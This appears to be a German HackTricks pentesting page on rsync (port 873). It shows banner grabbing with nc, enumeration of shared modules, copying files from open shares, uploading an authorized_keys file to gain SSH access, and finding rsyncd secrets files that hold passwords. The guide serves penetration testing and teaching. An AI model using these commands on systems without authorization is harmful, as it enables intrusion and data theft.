hacktricks/network-services-pentesting/873-pentesting-rsync.md
2024-02-10 15:36:32 +00:00

129 lines
8.3 KiB
Markdown

# 873 - Pentesting Rsync
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
</details>
## **Grundlegende Informationen**
Aus [Wikipedia](https://en.wikipedia.org/wiki/Rsync) übersetzt:
> **rsync** ist ein Dienstprogramm zum effizienten [Übertragen](https://en.wikipedia.org/wiki/File\_transfer) und [Synchronisieren](https://en.wikipedia.org/wiki/File\_synchronization) von [Dateien](https://en.wikipedia.org/wiki/Computer\_file) zwischen einem Computer und einer externen Festplatte sowie zwischen [vernetzten](https://en.wikipedia.org/wiki/Computer\_network) [Computern](https://en.wikipedia.org/wiki/Computer), indem die [Änderungszeiten](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) und Größen der Dateien verglichen werden.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Es ist häufig auf [Unix-ähnlichen](https://en.wikipedia.org/wiki/Unix-like) [Betriebssystemen](https://en.wikipedia.org/wiki/Operating\_system) zu finden. Der Rsync-Algorithmus ist eine Art von [Delta-Codierung](https://en.wikipedia.org/wiki/Delta\_encoding) und wird zur Minimierung des Netzwerkverbrauchs verwendet. [Zlib](https://en.wikipedia.org/wiki/Zlib) kann für zusätzliche [Datenkompression](https://en.wikipedia.org/wiki/Data\_compression) verwendet werden,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) und [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) oder [stunnel](https://en.wikipedia.org/wiki/Stunnel) können für die Sicherheit verwendet werden.
**Standardport:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
### Banner & manuelle Kommunikation
Die Enumeration von Rsync beginnt mit der Überprüfung des Banners und der manuellen Kommunikation. Der Rsync-Dienst sendet normalerweise einen Begrüßungstext, der Informationen über die Version und die unterstützten Funktionen enthält. Dieser Begrüßungstext kann verwendet werden, um Informationen über den Rsync-Server zu sammeln.
Um den Banner zu überprüfen, kann das Tool `nc` (Netcat) verwendet werden, um eine Verbindung zum Rsync-Server herzustellen und den Begrüßungstext anzuzeigen. Die Syntax lautet:
```plaintext
nc <ziel-ip> <ziel-port>
```
Nachdem die Verbindung hergestellt wurde, wird der Begrüßungstext angezeigt. Dieser Text kann Informationen wie die Rsync-Version, das Betriebssystem und andere nützliche Details enthalten.
Die manuelle Kommunikation beinhaltet das Senden von Rsync-Befehlen an den Server und das Überprüfen der Antworten. Dies kann mit dem Tool `rsync` durchgeführt werden. Die Syntax lautet:
```plaintext
rsync <ziel-ip>::
```
Dieser Befehl fordert eine Liste der freigegebenen Module vom Rsync-Server an. Die Antwort enthält Informationen über die verfügbaren Module und deren Pfade.
Die Banner- und manuelle Kommunikationstechniken sind hilfreich, um Informationen über den Rsync-Server zu sammeln und potenzielle Schwachstellen zu identifizieren.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Ermittlung freigegebener Ordner**
**Rsync-Module** werden als **Verzeichnisfreigaben** erkannt, die möglicherweise **mit Passwörtern geschützt sind**. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste angezeigt werden und möglicherweise versteckt sind. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte Anmeldeinformationen beschränkt sein, was durch eine "Zugriff verweigert"-Meldung angezeigt wird.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Manuelle Verwendung von Rsync
Nachdem Sie eine **Modulliste** erhalten haben, hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung können Sie Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis **auflisten** und **kopieren**, indem Sie Folgendes verwenden:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Dieser Prozess überträgt Dateien rekursiv und bewahrt dabei ihre Attribute und Berechtigungen.
Mit Anmeldeinformationen kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei ein Passwort-Prompt angezeigt wird:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Um **Inhalte hochzuladen**, wie z.B. eine _**authorized_keys**_-Datei für den Zugriff, verwenden Sie:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Um die rsyncd-Konfigurationsdatei zu finden, führen Sie Folgendes aus:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Innerhalb dieser Datei kann ein _secrets file_ Parameter auf eine Datei verweisen, die **Benutzernamen und Passwörter** für die rsyncd-Authentifizierung enthält.
## Referenzen
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>